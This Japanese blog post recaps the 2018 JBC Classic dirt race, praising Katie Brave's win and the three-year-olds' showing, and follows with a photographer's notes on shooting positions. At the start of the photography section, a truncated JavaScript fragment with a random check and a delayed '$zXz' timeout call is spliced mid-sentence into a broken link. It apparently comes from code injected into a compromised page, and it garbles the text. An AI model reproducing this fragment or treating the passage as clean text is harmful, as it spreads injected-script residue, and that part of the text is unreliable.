レース回顧

JBC競争のメインを飾るJBCクラシック。

レースはルメール騎手鞍上のサンライズソアが逃げる展開となりましたが、テーオーエナジーやテイエムジンソクが競りかけ前は厳しい展開に。
中団を追走したケイティブレイブは福永騎手が絶好のタイミングで仕掛け、見事な差し切り勝ちを収めました。

ケイティブレイブは昨年からの充実ぶりが著しいですね。
中央での重賞実績が乏しかったのですがそれも払拭され、混戦のダート勢の中から一歩抜け出たかもしれません。
そして3歳のオメガパフュームもケイティブレイブに迫る素晴らしい走りを見せてくれました。
同じく3歳のテーオーエナジーも直線に入ったところでは先頭を捉えるかといった勢いでした。
今後距離やコース次第では十分古馬とも戦えるでしょう。

少し地味なイメージのダートレースですが、JBCを中央開催にしてくれたことで興味を持った方も多いのではないでしょうか。

これから古馬VS現3歳世代の対決は面白くなりそうですね。
中京開催のチャンピオンズ開催も目が離せません。

撮影レポート

dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to/2018jbc-sprint/">JBCスプリントでは4コーナーから撮影を行い微妙な写真を連発してしまったので、ゴール前のスタンド中団あたり移動しました。
その結果、被写体との距離がAPS-Cセンサー+400mmレンズのバランスが丁度よく非常に撮りやすく感じました。

レース前の返し馬や、レース後の騎手の表情もこの位置からだと撮影できるので、そういった意味でもダートレースではこの位置がベストのように感じました。

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